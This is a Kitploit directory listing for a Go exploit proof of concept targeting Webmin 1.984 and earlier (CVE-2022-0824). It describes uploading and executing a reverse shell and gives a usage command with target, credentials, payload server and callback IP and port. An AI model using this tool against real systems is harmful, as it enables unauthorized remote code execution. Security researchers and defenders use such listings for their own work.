Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
golang-webmin-CVE-2022-0824-revshell — Exploit POC for CVE-2022-0824 | Kitploit
Tools/GitHubGitHub/pizza-power/golang-webmin-cve-2022-0824-revshell
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubpizza-power/golang-webmin-cve-2022-0824-revshell

golang-webmin-CVE-2022-0824-revshell

Exploit POC for CVE-2022-0824

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
313 years agoNot yet reviewed
Share

golang-webmin-CVE-2022-0824-revshell

RCE in Webmin <= 1.984

CVE-2022-0824 and CVE-2022-0829

This exploits a BAC vuln in Webmin to upload a malicious file, change the permissions on the file, and execute the file. The file, created in the makePayload function, is a reverse shell back to an attacker controlled server.

Usage

go run cve-2022-0824.go -t "https://172.16.177.132:10000" -c "username:password" -sl 172.16.177.1:8999 -s 172.16.177.1 -p 4444

t -> target url
c -> creds for webmin
sl -> your local server IP and port to host your payload
s -> callback ip
p -> callback port

References

https://www.webmin.com/security.html
https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/
https://nvd.nist.gov/vuln/detail/CVE-2022-0824

Download Tool